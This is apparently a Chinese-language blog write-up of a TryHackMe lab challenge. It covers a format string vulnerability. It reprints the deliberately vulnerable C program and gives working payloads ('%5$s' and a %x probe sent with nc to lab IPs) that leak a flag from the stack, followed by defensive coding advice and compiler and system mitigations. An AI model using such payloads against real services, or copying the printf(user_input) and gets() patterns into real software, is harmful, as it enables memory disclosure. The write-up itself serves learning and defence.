格式化字符串漏洞深度解析:从原理到实战利用
Flag: THM{format_issues}
概述
格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用printf族函数时开发者未正确处理用户输入的情况下。本文通过TryHackMe平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。
格式化字符串漏洞原理
漏洞成因
格式化字符串漏洞的根本原因在于printf族函数的设计机制:
参数数量不匹配:printf函数无法在编译时验证格式化字符串与参数数量是否匹配。
栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。
类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。
printf函数的内部机制
当调用printf(format, arg1, arg2, ...)
时,首先格式化字符串format
被逐字符解析。遇到%
时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。
漏洞代码分析
让我们深入分析这个vulnerable程序:
#include <stdio.h>
#include <string.h>
void print_banner(){
printf( " ______ _ __ __ _ _ \n"
" | ____| | \\ \\ / / | | | \n"
" | |__ | | __ _ __ \\ \\ / /_ _ _ _| | |_ \n"
" | __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
" | | | | (_| | (_| |\\ / (_| | |_| | | |_ \n"
" |_| |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n"
" __/ | \n"
" |___/ \n"
" \n"
"Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n"
"==================================================================\n\n"
);
}
void print_flag(char *username){
FILE *f = fopen("flag.txt","r");
char flag[200];
fgets(flag, 199, f);
//printf("%s", flag);
//The user needs to be mocked for thinking they could retrieve the flag
printf("Hello, ");
printf(username); // 🚨 漏洞点:直接将用户输入作为格式化字符串
printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
printf("Yours truly,\nByteReaper\n\n");
}
void login(){
char username[100] = "";
printf("Username: ");
gets(username); // 🚨 缓冲区溢出风险:不检查输入长度
// The flag isn't printed anymore. No need for authentication
print_flag(username);
}
void main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
// Start login process
print_banner();
login();
return;
}
关键漏洞点分析
1. 格式化字符串漏洞 (第37行)
printf(username); // 危险!应该使用 printf("%s", username);
问题分析:
username
变量直接作为格式化字符串传递给printf
。攻击者可以在输入中包含格式说明符(如%x
, %s
, %p
等)。这些格式说明符会导致printf
从栈中读取额外的数据。
2. 缓冲区溢出风险 (第46行)
gets(username); // 危险函数,已被废弃
问题分析:
gets()
函数不检查输入长度,可能导致缓冲区溢出。username
数组只有100字节,超长输入会覆盖栈上的其他数据。
3. Flag数据泄露机会 (第30-32行)
FILE *f = fopen("flag.txt","r");
char flag[200];
fgets(flag, 199, f);
关键点:
Flag被读入局部变量flag[200]
。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。
内存布局与攻击机制
栈内存布局分析
当print_flag
函数被调用时,栈的布局大致如下:
栈顶 (低地址)
├─ FILE *f (fopen返回值)
├─ char flag[200] (存储读取的flag内容)
├─ ...其他局部变量...
├─ 返回地址
├─ 保存的EBP
├─ char *username (传入的参数)
└─ main函数的栈帧
栈底 (高地址)
格式化字符串的栈遍历机制
当执行printf(username)
时,正常情况下如果username
是纯文本,会直接输出。攻击情况下如果username
包含格式说明符,printf会尝试从栈中获取对应参数。
参数位置计算
在x86/x64架构中,第1个参数是格式化字符串本身 (username
),第2个参数是栈上的下一个值,第3个参数是再下一个值,依此类推,第N个参数是栈上对应位置的值。
由于flag[200]
数组在栈上,通过合适的偏移量可以访问到flag内容。
攻击向量分析
Payload分析
成功的攻击payload:
echo -ne '%5$s' | nc 10.10.20.224 1337
详细解析:
%5$s
直接访问第5个参数位置。$
语法允许直接指定参数位置,无需遍历前面的参数。s
格式符将该位置的值作为字符串指针,打印指向的内容。
为什么是第5个参数?
通过试验不同的偏移量:
# 探测栈内容的命令示例
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337
经过测试发现,第1-4个参数是其他栈上的数据,第5个参数恰好指向flag字符串的地址,第6个及以后是其他内存内容。
内存对齐的影响
在实际环境中,flag在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构(32位/64位)以及其他局部变量的分配而变化。
因此可能需要尝试不同的偏移量(%4$s
, %5$s
, %6$s
等)来定位flag。
实战攻击演示
成功攻击的完整过程
$ echo -ne '%5$s' | nc 10.10.20.224 1337
______ _ __ __ _ _
| ____| | \ \ / / | | |
| |__ | | __ _ __ \ \ / /_ _ _ _| | |_
| __| | |/ _` |/ _` \ \/ / _` | | | | | __|
| | | | (_| | (_| |\ / (_| | |_| | | |_
|_| |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
__/ |
|___/
Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!
==================================================================
Username: Hello, THM{format_issues}
. Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...
Yours truly,
ByteReaper
攻击成功原理分析
输入payload:%5$s
printf处理过程:程序执行到printf(username)
,username
内容为%5$s
,printf解析格式说明符%5$s
,访问栈上第5个位置的值作为字符串指针,第5个位置恰好指向flag字符串的内存地址。
输出结果:成功显示flag内容THM{format_issues}
其他探测payload
用于探测栈结构的命令:
# 显示多个栈位置的十六进制值
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337
这个payload会显示前8个栈位置的十六进制值,最后用%s
尝试将第9个位置作为字符串打印。
漏洞利用的关键要素
格式化字符串漏洞:printf(username)
直接使用用户输入作为格式字符串。
内存中的敏感数据:flag被读入栈上的局部变量。
可预测的内存布局:在相同环境下栈布局相对固定。
直接位置访问:%N$s
语法允许直接访问特定栈位置。
防护机制与安全建议
代码层面的防护措施
1. 安全的printf使用方式
// 危险的写法
printf(user_input);
// 安全的写法
printf("%s", user_input);
2. 输入验证和长度检查
// 替换危险的gets()函数
char username[100];
if (fgets(username, sizeof(username), stdin) != NULL) {
// 移除可能的换行符
username[strcspn(username, "\n")] = '\0';
}
3. 避免在栈上存储敏感数据
// 不安全:敏感数据在栈上
void print_flag(char *username) {
char flag[200]; // 在栈上,可能被泄露
// ...
}
// 更安全:使用动态分配或其他保护机制
void print_flag(char *username) {
char *flag = malloc(200);
// 使用后立即清零并释放
memset(flag, 0, 200);
free(flag);
}
编译器层面的防护
1. 编译器警告
# 启用格式化字符串相关警告
gcc -Wformat -Wformat-security -Wall source.c
2. FORTIFY_SOURCE
# 启用运行时检查
gcc -D_FORTIFY_SOURCE=2 -O2 source.c
系统层面的防护
1. 地址空间布局随机化 (ASLR)
随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。
2. 栈保护 (Stack Canary)
# 启用栈保护
gcc -fstack-protector-all source.c
3. 不可执行栈 (NX bit)
防止在栈上执行代码,减少代码注入攻击的风险。
现代防护技术
1. 控制流完整性 (CFI)
检测并阻止控制流劫持攻击。
2. 地址空间隔离
使用容器化或沙箱技术隔离应用。
3. 静态分析工具
使用工具如Clang Static Analyzer、Coverity等,在开发阶段发现潜在漏洞。
安全开发建议
1. 安全编程原则
最小权限原则:程序只获取必要的权限。
输入验证:严格验证所有外部输入。
防御性编程:假设所有输入都是恶意的。
2. 代码审查
重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。
3. 安全测试
模糊测试:使用工具如AFL、libFuzzer。
静态分析:集成到CI/CD管道。
动态分析:使用Valgrind、AddressSanitizer等。
总结
格式化字符串漏洞虽然是一个经典的安全漏洞,但在现代软件开发中仍然存在。通过本文的分析,我们可以看到:
漏洞原理:printf族函数设计的固有缺陷。
攻击手段:利用栈内存布局和格式说明符。
防护措施:多层次的安全防护策略。
关键教训包括:永远不要将用户输入直接作为格式化字符串;敏感数据应避免存储在可预测的内存位置;采用多层防护策略,而不是依赖单一安全机制;定期进行安全代码审查和测试。
这个案例再次提醒我们,在编写C/C++程序时必须格外注意内存安全,特别是在处理用户输入时。现代编译器和操作系统提供了多种防护机制,但开发者的安全意识和编程习惯仍然是最重要的第一道防线。
- 点赞
- 收藏
- 关注作者
评论(0)